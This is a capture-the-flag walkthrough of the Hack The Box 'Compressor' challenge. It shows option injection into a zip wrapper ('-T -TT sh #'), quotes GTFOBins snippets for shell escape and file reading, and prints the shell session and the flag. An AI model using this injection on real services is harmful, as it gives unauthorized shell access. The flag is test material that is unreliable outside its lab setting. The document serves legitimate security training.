Challenge: Compressor

Challenge Description :

Ramona's obsession with modifications and the addition of artifacts to her body has slowed her down and made her fail and almost get killed in many missions. For this reason, she decided to hack a tiny robot under Golden Fang's ownership called "Compressor", which can reduce and increase the volume of any object to minimize/maximize it according to the needs of the mission. With this item, she will be able to carry any spare part she needs without adding extra weight to her back, making her fast. Can you help her take it and hack it?

Context :

- This is a weird one, you will need to NCat into the IP:PORT and then find a way to print the flag or get a shell.

Notes :

- Tools:
    - Cli Terminal - A Terminal to Netcat into the server and do this.

Flag :

- Start the instance, and then Netcat into the server with the IP:PORT. Looking at the Interface i got when I first connected seems to be some sort of file Directory service.
- First thing I notice is that they are using Popular command to run functions on this, the main one being Zip.
- To explore potential uses of this information, we can visit the book.hacktricks.xyz website. For more reliable results, we should check GTFObins to learn about the Zip command and how to exploit it.

```
┌──(kali㉿kali)-[~]
└─$ nc 94.237.59.199 55568

[*] Directory to work in: XVwAE44ca9TRBsPOoIcpIEY0TnKHKokZ

Component List:

+═══════════════+
|               |
|  1. Head 🤖   |
|  2. Torso 🦴  |
|  3. Hands 💪  |
|  4. Legs 🦵   |
|               |
+═══════════════+

[*] Choose component: 1

[*] Sub-directory to work in: XVwAE44ca9TRBsPOoIcpIEY0TnKHKokZ/Head


Actions:

1. Create artifact
2. List directory    (pwd; ls -la)
3. Compress artifact (zip <name>.zip <name> <options>)
4. Change directory  (cd <dirname>)
5. Clean directory   (rm -rf ./*)
6. Exit

[*] Choose action:
```

.. / zip

☆ Star 10,354

Shell | File read | Sudo | Limited SUID

Shell

It can be used to break out from restricted environments by spawning an interactive system shell.

```
TF=$(mktemp -u)
zip $TF /etc/hosts -T -TT 'sh #'
rm $TF
```

File read

It reads data from files, it may be used to do privileged reads or disclose files outside a restricted file system.

```
LFILE=file-to-read
TF=$(mktemp -u)
zip $TF $LFILE
unzip -p $TF
```

- After checking the GTFObins we know that we can get a working shell on this Directory service
- To do this the POC is to be able to enter:

" -T -TT 'sh #' "

- Before exploiting it we will need to create a file [“Artifact”] in the Directory service to be able to use Zip or it will result in a failure because of there being a non-existing file being called, Using it in action would result in this :

```
[*] Choose action: 1

Insert name: shelly
Insert content: sell

[+] Artifact [shelly] was created successfuly!
```

```
[*] Choose action: 3

Insert <name>.zip: shell
Insert <name>: shelly
Insert <options>: -T -TT 'sh #'
  adding: shelly (stored 0%)
whoami
ctf
id
uid=1000(ctf) gid=1000(ctf) groups=1000(ctf)
```

- Easy shell, you can set up TTY property is needed but this should be sufficient. Username is CTF and flag should be in the users system Directory

```
cd /home/ctf
ls
2qz6iFxkderQKbEXuFDiGc5pOydtcDRA
9zU2sCIiePiF3U48411ah8v884XBZpHy
FAaBs1gR2IEsfAOLQhX1nU48riUXYOHp
JiZZc3csDVoopkzobfmqnrZXEkRKzNpP
VCPMUUkEJ5MPLfdi5kTW4l9ziDY2tK9G
VhHBJBjyO5qrkQ6Jbe2FtisnPpX0qO2Q
XVwAE44ca9TRBsPOoIcpIEY0TnKHKokZ
artifacts.py
at3VuzlGv7XXWDLObaxDzLKRfw5UYKXc
clear.py
flag.txt
cat flag.txt
HTB{z1pp1ti_z0pp1t1_GTFO_0f_my_pr0p3rty}
```

- Then we get the flag : HTB{z1pp1ti_z0pp1t1_GTFO_0f_my_pr0p3rty}